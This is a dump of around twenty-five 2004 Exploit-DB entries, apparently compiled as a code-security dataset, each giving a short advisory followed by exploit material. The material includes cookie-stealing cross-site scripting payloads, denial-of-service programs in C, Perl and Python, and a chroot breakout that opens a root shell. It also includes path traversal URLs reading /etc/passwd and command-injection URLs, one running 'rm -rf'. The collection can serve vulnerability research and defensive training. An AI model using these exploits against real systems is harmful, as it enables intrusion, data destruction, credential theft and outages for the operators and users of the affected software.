QLWD/code_shield huggingface dataset:
标题: Mambo Open Source 4.6 - 'Itemid' Cross-Site Scripting EDB-ID: 23657 CVE: 2004-2072 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/9588/info

It has been reported that Mambo Open Source may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute arbitrary HTML or script code in a user's browser. The issue exists in the 'Itemid' parameter of 'index.php' script.

Mambo Open Source version 4.6 has been reported to be prone to this issue, however, other versions may be affected has well.

http://www.example.com/index.php?option=content&task=view&id=1&Itemid="><script>alert(document.domain);</script> URL: https://www.exploit-db.com/exploits/23657
标题: Sambar Server 6.0 - 'results.stm' POST Buffer Overflow EDB-ID: 23664 CVE: 2004-2086 类型: DOS 平台: WINDOWS 发布日期: 2004-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9607/info

A buffer overflow vulnerability has been reported in the Sambar web server. The issue is due to a boundary condition error in the POST data processing of the affected software.

Immediate consequences of an attack may result in a denial of service condition. It may also be possible for the attacker to manipulate process memory and execute arbitrary code in the context of the vulnerable process.

# http://felinemenace.org/~nd/SMUDGE
# Sambar script (c) nd@felinemenace.org
from SMUDGE import *
import sys
sm = SMUDGE(1)

sm.setname("SambarOverflow")

sm.plain("POST /search/results.stm HTTP/1.1")
sm.addcrlf()
sm.plain("Host: MSUDGEDPU")
sm.addcrlf()
sm.plain("Content-Length: ")
sm.blocksize("postdata")
sm.addcrlf()
sm.addcrlf()
sm.putblock("postdata")
sm.addcrlf()
sm.addcrlf()

sm.newblock("postdata")
sm.updateblock("postdata","spage=0&indexname=docs&query=")
sm.blockvariable("postdata","MEEP")
sm.updateblock("postdata","&style=page")

sm.run("127.0.0.1",80,"topdown","single") URL: https://www.exploit-db.com/exploits/23664
标题: Red-M Red-Alert 3.1 - Remote Denial of Service EDB-ID: 23672 CVE: 2004-2078 类型: DOS 平台: HARDWARE 发布日期: 2004-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9618/info

Problems in various abilities have been identified in the Red-M Red-Alert network monitors. Because of this issues, an attacker may be able to crash a vulnerable device and eliminate logs, gain unauthorized access to the administrative interface, or partially evade detection by an affected device.

$ perl -e 'print "a"x1230 . "\r\n\r\n"| nc <device ip> 80 URL: https://www.exploit-db.com/exploits/23672
标题: Shaun2k2 Palmhttpd Server 3.0 - Remote Denial of Service EDB-ID: 23665 CVE: 2004-0264 类型: DOS 平台: WINDOWS 发布日期: 2004-02-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9608/info

It has been reported that Palmhttpd server may be prone to remote denial of service vulnerability, when an attacker attempts to establish multiple connections with the software. This issue occurs because PalmOS can only handle one client connection.

Shaun2k2 Palmhttpd version 3.0 and prior may be prone to this issue. Since the application is an extension of 'httpd for PalmOS' server by Jim Rees, it is assumed that 'httpd for PalmOS' is vulnerable as well, however, this product has been discontinued.

---palmslam.c
/* PalmOS httpd accept queue overflow PoC exploit.
 * Compile: gcc palmslam.c -o palmslam
 *
 * -shaun2k2
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#define MAX_CON 1025
int main(int argc, char *argv[]) {
        if(argc < 3) {
                printf("Usage: palmslam <host>
<port>\n");
                exit(-1);
        }

        int sock[MAX_CON];
        int i;
        struct sockaddr_in dest[MAX_CON];
        struct hostent *host;
        if((host = gethostbyname(argv[1])) == -1) {
                printf("Couldn't resolve %s!\n",
argv[1]);
                exit(-1);
        }

        for(i = 0; i <= MAX_CON; i++) {
                if((sock[i] = socket(AF_INET,
SOCK_STREAM, 0)) == -1) {
                        printf("Couldn't create
socket!\n");
                        exit(-1);
                }

                dest[i].sin_family = AF_INET;
                dest[i].sin_port =
htons(atoi(argv[2]));
                dest[i].sin_addr = *((struct in_addr
*)host->h_addr);

                if(connect(sock[i], (struct sockaddr
*)&dest[i], sizeof(struct sockaddr)) == -1) {
                        printf("Couldn't connect to %s
on port %s!\n", argv[1], argv[2]);
                        exit(-1);
                }

                printf("%d : Connected!\n", i);
        }
        return(0);
} URL: https://www.exploit-db.com/exploits/23665
标题: Linux VServer Project 1.2x - Chroot Breakout EDB-ID: 23658 CVE: 2004-2073 类型: LOCAL 平台: LINUX 发布日期: 2004-02-06 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/9596/info

VServer is reported prone to a breakout vulnerability that allows a malicious user to escape from the context of the chrooted root directory of the virtual server. This issue is due to the VServer application failing to secure itself against a "chroot-again" style vulnerability. Successful exploitation of this issue may allow an attacker to gain access to the filesystem outside of the chrooted root directory.
*/

/* vserver@deadbeef.de modified the chroot-again exploit */
/* to work on vservers with "chmod 000 /vservers" */

/* Run this code in a vserver as root */
/* Tested with 2.4.24 and vserver 1.24 */

#include <sys/types.h>
#include <sys/stat.h>

main()
{
int i;

if (chdir("/") != 0) {
  perror("cd /"); exit(1);
}
if (mkdir("baz", 0777) != 0) {
  perror("mkdir baz");
}
if (chroot("baz") != 0) {
  perror("chroot baz"); exit(1);
}

for (i=0; i<50; i++) {
   if (chdir("..") != 0) {
      perror("cd .."); /* exit(1); */
   }
   if (chmod("..", S_IXOTH) != 0) {
      perror("chmod"); /* exit(1); */
   }
}
if (chroot(".") != 0) {
  perror("chroot ."); exit(1);
}
printf("Exploit seems to work. =)\n");
execl("/bin/sh", "sh", "-i", (char *)0);
perror("exec sh");
exit(0);
} URL: https://www.exploit-db.com/exploits/23658
标题: BolinTech DreamFTP Server 1.0 - User Name Format String EDB-ID: 23660 CVE: 2004-0277 类型: DOS 平台: WINDOWS 发布日期: 2004-02-07 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9600/info

It has been reported that Dream FTP Server may be prone to a remote format string vulnerability when processing a malicious request from a client for a username during FTP authentication. The issue could crash the server.

Dream FTP Server version 1.02 has been reported to be prone to this issue, however, it is possible that other versions may be affected by this issue as well.

/* dreamftp-DoS.c - Dream FTP format string
vulnerability DoS PoC.
 *
 * This program is a simple PoC for the format string
vulnerability found
 * in BolinTech dreamftp by intuit.  Although
theoretically there is a
 * window of possibility of arbitrary code execution,
the vulnerability is
 * simply demonstrated to cause DoS.  After running
this code against a
 * Dream FTP server, the daemon will crash, denying
service to legimate
 * users.
 *
 *
 * -shaun2k2 - shaunige@yahoo.co.uk
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

#define PORT 21

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Dream FTPd format string
vulnerability DoS PoC,\n");
                printf("by shaun2k2 -
shaunige@yahoo.co.uk\n\n");
                printf("Usage: %s <host>\n", argv[0]);
                exit(-1);
        }

        int sock;
        struct hostent *he;
        struct sockaddr_in dest;
        char explbuf[10];


        if((he = gethostbyname(argv[1])) == NULL) {
                herror("gethostbyname()");
                exit(-1);
        }


        printf("Dream FTPd format string vulnerability
DoS PoC,\n");
        printf("by shaun2k2 -
shaunige@yahoo.co.uk\n\n");

        printf("[+] Crafting exploit buffer...\n\n");
        memcpy(explbuf, "USER %n\r\n", 9);

        if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
0) {
                perror("socket()");
                exit(-1);
        }

        dest.sin_family = AF_INET;
        dest.sin_port = htons(PORT);
        dest.sin_addr = *((struct in_addr
*)he->h_addr);

        printf("[+] Connecting...\n");
        if(connect(sock, (struct sockaddr *)&dest,
sizeof(struct sockaddr)) < 0) {
                perror("socket()");
                exit(-1);
        }

        printf("[+] Connected!\n\n");

        sleep(1);
        printf("[+] Sending malicious format
string...\n");
        send(sock, explbuf, strlen(explbuf), 0);
        sleep(2);
        close(sock);

        printf("[+] Done!\n");

        return(0);
} URL: https://www.exploit-db.com/exploits/23660
标题: PHP-Nuke 6.x/7.x 'Reviews' Module - Cross-Site Scripting EDB-ID: 23669 CVE: 2004-0265 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9613/info

It has been reported that the PHP-Nuke module 'Reviews' is prone to a cross-site scripting vulnerability. The issue arises due to the module failing to properly sanitize user-supplied information. This could allow for execution of hostile HTML and script code in the web client of a user who visits a web page that contains the malicious code. This would occur in the security context of the site hosting the software.

http://www.example.com/modules.php?name=Reviews&rop=postcomment&title=%253cscript>alert%2528document.cookie);%253c/script> URL: https://www.exploit-db.com/exploits/23669
标题: Discuz! 2.0/3.0 - Cross-Site Scripting EDB-ID: 23653 CVE: 2004-0254 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/9584/info

It has been reported that Discuz! is prone to an Cross Site Scripting vulnerability. This issue is caused by the application failing to properly sanitize links embedded within user messages. Upon successful exploitation of this issue, a malicious user could steal cookie based authentication credentials or other information within the context of the affected web page.

[img]http://a.gif');alert(document.cookie);a=escape=('a[/img] URL: https://www.exploit-db.com/exploits/23653
标题: Xlight FTP Server 1.x - Long Directory Request Remote Denial of Service EDB-ID: 23654 CVE: 2004-0255 类型: DOS 平台: WINDOWS 发布日期: 2004-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/9585/info

A problem in the handling of large requests has been reported to result in service instability in XLight FTP Server under some circumstances. Because of this, it may be possible for a remote attacker to deny service to legitimate users of the software.

ftp://user@127.0.0.1/............................................................................................................................................................................................................../*/ URL: https://www.exploit-db.com/exploits/23654
标题: RXGoogle.CGI 1.0/2.5 - Cross-Site Scripting EDB-ID: 23647 CVE: 2004-0251 类型: WEBAPPS 平台: CGI 发布日期: 2004-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/9575/info

The rxgoogle.cgi search script is prone to a cross-site scripting vulnerability because the software fails to sanitize user input and allows various metacharacters that may facilitate cross-site scripting attacks.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/rxgoogle.cgi?query=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/23647
标题: Web Crossing Web Server 4.0/5.0 Component - Remote Denial of Service EDB-ID: 23648 CVE: 2004-0245 类型: DOS 平台: WINDOWS 发布日期: 2004-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/9576/info

The Web Crossing Web Server component has been reported prone to a remote denial of service vulnerability. It has been reported that the issue will present itself when the affected web server receives a malicious HTTP request that contains negative values for certain fields in the HTTP header.

#########################################################################
#!/usr/bin/perl -w
#
#########################################################################
#!/usr/bin/perl -w
#
# Web Crossing 4.x\5.x Denial of Service Exploit
#  [ Bad 'Content-Length' Header Bug ]
#
#  - by Peter Winter-Smith [peter4020@hotmail.com]

use IO::Socket;

if(!($ARGV[0]))
{
 print "Usage: wxdos.pl <victim>\n";
 exit;
}

print "Web Crossing 4.x\\5.x Denial of Service Exploit\n" .
      "\t[ Bad 'Content-Length' Header Bug ]\n" .
      "\t[peter4020\@hotmail.com]\n\n";

$victim = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$ARGV[0],
                             PeerPort=>"80")
                            or die "Unable to connect to $ARGV[0] on " .
                             "port 80";


$DoS    = "POST / HTTP/1.1\r\n" .
          "Content-Length: -1\r\n\r\n";

print $victim $DoS;

print "[+] Evil request made to target server ... Waiting...!\n";

sleep(4);

close($victim);

print "[+] Done!\n";
exit;
######################################################################### URL: https://www.exploit-db.com/exploits/23648
标题: Cauldron Chaser 1.4/1.5 - Remote Denial of Service (1) EDB-ID: 23641 CVE: 2004-0247 类型: DOS 平台: MULTIPLE 发布日期: 2004-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/9567/info

Chaser has been reported to be prone to a denial of service vulnerability. This issue is caused by a lack of input validation of a size parameter specified in UDP network communication packets. The process will attempt to read the amount of data specified by the packet, without regard to the amount of memory allocated. This will cause an attempt by the application to dereference unallocated memory, producing an exception and causing the process to crash. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23641.rar URL: https://www.exploit-db.com/exploits/23641
标题: Cauldron Chaser 1.4/1.5 - Remote Denial of Service (2) EDB-ID: 23642 CVE: 2004-0247 类型: DOS 平台: MULTIPLE 发布日期: 2004-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/9567/info
 
Chaser has been reported to be prone to a denial of service vulnerability. This issue is caused by a lack of input validation of a size parameter specified in UDP network communication packets. The process will attempt to read the amount of data specified by the packet, without regard to the amount of memory allocated. This will cause an attempt by the application to dereference unallocated memory, producing an exception and causing the process to crash. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23642.rar URL: https://www.exploit-db.com/exploits/23642
标题: All Enthusiast ReviewPost PHP Pro 2.5 - 'showcat.php' SQL Injection EDB-ID: 23646 CVE: 2004-2175 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/9574/info
 
It has been reported that ReviewPost PHP Pro may be prone to multiple SQL injection vulnerabilities that may allow an attacker to influence SQL query logic. This issue could be exploited to disclose sensitive information that may be used to gain unauthorized access. An attacker may pass malicious data via the 'product' parameter of 'showproduct.php' script and the 'cat' parameter of 'showcat.php' script.
 
Although unconfirmed, ReviewPost PHP Pro 2.5.1 and prior may be prone to these issues.

http://www.example.com/directory/showcat.php?cat=[query] URL: https://www.exploit-db.com/exploits/23646
标题: BSD - SHMAT System Call Privilege Escalation EDB-ID: 23655 CVE: 2004-0114 类型: LOCAL 平台: BSD 发布日期: 2004-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/9586/info

A vulnerability has been reported to reside in the 'shmat()' system call used in the BSD kernel. Exploiting this issue may allow a local attacker to inject instructions into the memory of a privileged process.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23655.tar.gz URL: https://www.exploit-db.com/exploits/23655
标题: All Enthusiast ReviewPost PHP Pro 2.5 - 'showproduct.php' SQL Injection EDB-ID: 23645 CVE: 2004-2175 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/9574/info

It has been reported that ReviewPost PHP Pro may be prone to multiple SQL injection vulnerabilities that may allow an attacker to influence SQL query logic. This issue could be exploited to disclose sensitive information that may be used to gain unauthorized access. An attacker may pass malicious data via the 'product' parameter of 'showproduct.php' script and the 'cat' parameter of 'showcat.php' script.

Although unconfirmed, ReviewPost PHP Pro 2.5.1 and prior may be prone to these issues.

http://www.example.com/directory/showproduct.php?product=[query] URL: https://www.exploit-db.com/exploits/23645
标题: PHPX 3.2.3 - Multiple Vulnerabilities EDB-ID: 23644 CVE: 2004-0249 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/9569/info

Multiple vulnerabilities were reported in PHPX. The specific issues include cross-site scripting, HTML injection and account hijacking via specially crafted cookies.

These issues were reported to exist in PHPX 3.2.3. Earlier versions are also likely affected.

<?php
/* Proof of concept for exploiting PHPX 3.2.4 (http://www.phpx.org) */
/* Quick hack, not really an affective tool, only useful as a demonstration */
/* Written by HelloWorld - Ryan Wray */

/* Usage: php -q exploit_file.php <host> <port> <admin_folder_location> */
function usage()
{
    echo "Usage request";
}

function bytes_left($fp)
{
    $status=socket_get_status($fp);
    if($status['unread_bytes'] > 0) { return true; }
    return false;
}
print_r($_SERVER['argv']);
if($_SERVER['argc'] != 4)
{
    exit(usage());
}

// Attempt to connect to host.
$fp=@fsockopen($_SERVER['argv'][1],$_SERVER['argv'][2]);

if(!$fp)
{
    exit('Could not connect to host: '.$_SERVER['argv'][1].':'.$_SERVER['argv'][2]);
}

else
{
    fputs($fp,"GET ".$_SERVER['argv'][3]."index.php HTTP/1.1\r\n");
    fputs($fp,"Host: ".$_SERVER['argv'][1]."\r\n");
    fputs($fp,"Cookie: PXL=2\r\n\r\n");
}
// Start accepting data, otherwise socket_get_status will say there are 0 unread bytes.
echo fgets($fp,1024);
// While we can read.
while(bytes_left($fp))
{
    echo fgets($fp,1024);
}
// Close the socket.
fclose($fp);
?> URL: https://www.exploit-db.com/exploits/23644
标题: Qualiteam X-Cart 3.x - Multiple Remote Information Disclosure Vulnerabilities EDB-ID: 23639 CVE: 2004-0242 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/9563/info

X-Cart has been reported to be prone to an issue that may allow remote attackers to view any web server readable files on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI. This issue has been reported to affect the 'auth.php' script.

It has been reported that there is also an information disclosure issue with the 'general.php' script that resides in the 'admin' directory of the application. The 'mode' URI parameter can be set to request information on the current PHP and Perl software versions, allowing potential attackers the gain access to sensitive system details. 

http://servername/customer/auth.php?config[General][shop_closed]=Y&shop_closed_file=../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23639
标题: Niti Telecom Caravan Business Server 2.00-03D - Directory Traversal EDB-ID: 23635 CVE: 2004-2170 类型: WEBAPPS 平台: ASP 发布日期: 2004-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/9555/info

The showcode.asp script activated in Sample_showcode.html may be vulnerable to a directory traversal issue. A remote attacker may view any files readable by the web server using '../' escape sequences in URI requests. 

http://www.example.org/sample_script_directory/Sample_showcode.html?fname=/../../../../target URL: https://www.exploit-db.com/exploits/23635
标题: Qualiteam X-Cart 3.x - 'upgrade.php?perl_binary' Arbitrary Command Execution EDB-ID: 23637 CVE: 2004-0241 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/9560/info
 
X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI. 

http://server/admin/upgrade.php?prepatch_errorcode=1&patch_files[0][orig_file]=VERSION&perl_binary=/bin/rm -rf &patch_exe=.. URL: https://www.exploit-db.com/exploits/23637
标题: Crob FTP Server 3.5.1 - Remote Information Disclosure EDB-ID: 23632 CVE: 2004-2309 类型: REMOTE 平台: WINDOWS 发布日期: 2004-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/9546/info

A vulnerability has been reported in the Crob FTP server, which occurs due to a lack of validation of input from the user. By issuing a specially crafted request, a malevolent user may be able to gain access to files outside of the ftp root directory.


You can read all directories on the system with the following command:

dir ../../../../../* URL: https://www.exploit-db.com/exploits/23632
标题: Leif M. Wright Web Blog 1.1 - Remote Command Execution EDB-ID: 23629 CVE: 2004-2347 类型: WEBAPPS 平台: CGI 发布日期: 2004-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/9539/info

Web Blog has been reported to be prone to a vulnerability that may permit remote attackers to execute arbitrary commands in the context of the hosting web server. This is due to insufficient sanitization of shell metacharacters from variables which will be used as an argument to a function that invokes the shell directly.

http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=|command| URL: https://www.exploit-db.com/exploits/23629
标题: JBrowser 1.0/2.x - Unauthorized Admin Access EDB-ID: 23628 CVE: 2007-1156 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9537/info

Due to a lack of access validation to the '_admin' directory, malevolent users may be able to execute arbitrary admin scripts. This may allow a malicious user to upload arbitrary files to the affected system and gain access to files outside of the web server root directory. There may also be other consequences associated with this vulnerability. 

http://www.example.org/_admin/
http://www.example.org/_admin/list_all.php?folder=../
http://www.example.org/_admin/upload.php URL: https://www.exploit-db.com/exploits/23628
标题: Qualiteam X-Cart 3.x - 'general.php?perl_binary' Arbitrary Command Execution EDB-ID: 23636 CVE: 2004-0241 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/9560/info

X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI. 

http://server/admin/general.php?mode=perlinfo&config[General][perl_binary]=/bin/ls -lR || URL: https://www.exploit-db.com/exploits/23636
标题: Aprox Portal 3.0 - File Disclosure EDB-ID: 23630 CVE: 2004-0237 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/9540/info

Aprox Portal is prone to a vulnerability that may permit remote attackers to gain access to files that are readable by the hosting web server. These files may exist outside of the server root.

This could expose sensitive information that may be useful in further attacks against the host. 

http://www.example.com/index.php?show=/etc/passwd URL: https://www.exploit-db.com/exploits/23630